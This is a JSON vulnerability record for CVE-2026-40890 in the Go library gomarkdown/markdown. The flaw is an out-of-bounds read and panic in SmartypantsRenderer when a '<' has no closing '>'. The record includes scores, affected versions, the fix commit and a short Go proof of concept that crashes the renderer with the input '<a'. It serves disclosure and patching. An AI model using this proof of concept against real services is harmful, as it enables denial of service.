{"id":"CVE-2026-40890","aliases":["CVE-2026-40890","GHSA-77fj-vx54-gvh7","GO-2026-5208"],"related":[],"kind":"vulnerability","state":"published","title":"github.com/gomarkdown/markdown: Out-of-bounds Read in SmartypantsRenderer","summary":"The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Processing a malformed input containing a < character that is not followed by a > character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic. This vulnerability is fixed with commit 759bbc3e32073c3bc4e25969c132fc520eda2778.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"The package `github.com/gomarkdown/markdown` is a Go library for parsing Markdown text and rendering as HTML. Processing a malformed input containing a < character that is not followed by a > character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic. This vulnerability is fixed with commit 759bbc3e32073c3bc4e25969c132fc520eda2778.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nProcessing a malformed input containing a `<` character that is not followed by a `>` character anywhere in the remaining text with a SmartypantsRenderer will lead to Out of Bounds read or a panic.\n\n### Details\n\nThe `smartLeftAngle()` function in `html/smartypants.go:367-376` performs an out-of-bounds slice operation when processing a `<` character that is not followed by a `>` character anywhere in the remaining text.\nhttps://github.com/gomarkdown/markdown/blob/37c66b85d6ab025ba67a73ba03b7f3ef55859cca/html/smartypants.go#L367-L376\nIf the length of the slice is lower than its capacity, this leads to an extra byte of data read. If the length equals the capacity, this leads to a panic.\n\n### PoC\n```golang\npackage main\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\n\t\"github.com/gomarkdown/markdown/html\"\n)\n\nfunc main() {\n\tsrc := []byte(\"<a\")\n\n\tfmt.Printf(\"Input: %q  (len=%d, cap=%d)\\n\", src, len(src), cap(src))\n\n\tvar buf bytes.Buffer\n\tsp := html.NewSmartypantsRenderer(html.Smartypants)\n\tsp.Process(&buf, src) // panics: slice bounds out of range\n\n\tfmt.Printf(\"Output: %q\\n\", buf.String())\n}\n```\n\n### Impact\nThis vulnerability will lead to a Denial of Service / panic on the processing service.\n\n\n-- The Datadog Security Team","format":"markdown","source":"ghsa"},{"lang":"en","text":"Go Markdown has an out-of-bounds read in SmartypantsRenderer in github.com/gomarkdown/markdown","format":"markdown","source":"go"},{"lang":"es","text":"El paquete “github.com/gomarkdown/markdown” es una biblioteca Go para analizar texto Markdown y renderizar como HTML. Procesar una entrada malformada que contiene un carácter < que no es seguido por un carácter > en ninguna parte del texto restante con un SmartypantsRenderer conducirá a una lectura fuera de límites o a un pánico. Esta vulnerabilidad se corrige con el commit 759bbc3e32073c3bc4e25969c132fc520eda2778.","source":"nvd"}],"published":"2026-04-14T22:38:20.000Z","modified":"2026-10-26T21:10:00.170Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-125"],"affected":[{"ranges":[{"version":"< 759bbc3e32073c3bc4e25969c132fc520eda2778","status":"affected"}],"vendor":"gomarkdown","product":"markdown","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260411013819-759bbc3e3207"}],"ecosystem":"Go","package":"github.com/gomarkdown/markdown","purl":"pkg:golang/github.com/gomarkdown/markdown","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260411013819-759bbc3e3207"}],"ecosystem":"Go","package":"github.com/gomarkdown/markdown","purl":"pkg:golang/github.com/gomarkdown/markdown","source":"go"},{"ranges":[{"status":"affected","fixed":"2026-04-10"}],"vendor":"gomarkdown","product":"markdown","cpe":"cpe:2.3:a:gomarkdown:markdown:*:*:*:*:*:go:*:*","source":"nvd"}],"references":[{"url":"https://github.com/gomarkdown/markdown/security/advisories/GHSA-77fj-vx54-gvh7","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/gomarkdown/markdown/commit/759bbc3e32073c3bc4e25969c132fc520eda2778","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40890","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/gomarkdown/markdown","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-04-21T20:16:21.788Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-40890","url":"https://www.cve.org/CVERecord?id=CVE-2026-40890","licence":"CVE Terms of Use","modified":"2026-04-21T20:36:07.854Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-77fj-vx54-gvh7","url":"https://github.com/advisories/GHSA-77fj-vx54-gvh7","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:43.591Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5208","url":"https://pkg.go.dev/vuln/GO-2026-5208","licence":"CC-BY-4.0","modified":"2026-07-24T19:00:21.574Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-40890","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40890","licence":"Public domain","modified":"2026-10-26T21:10:00.170Z"}],"updatedAt":"2026-11-25T22:59:19.143Z","epss":{"score":0.00306,"percentile":0.2522,"date":"2026-12-01T12:00:22.000Z"}}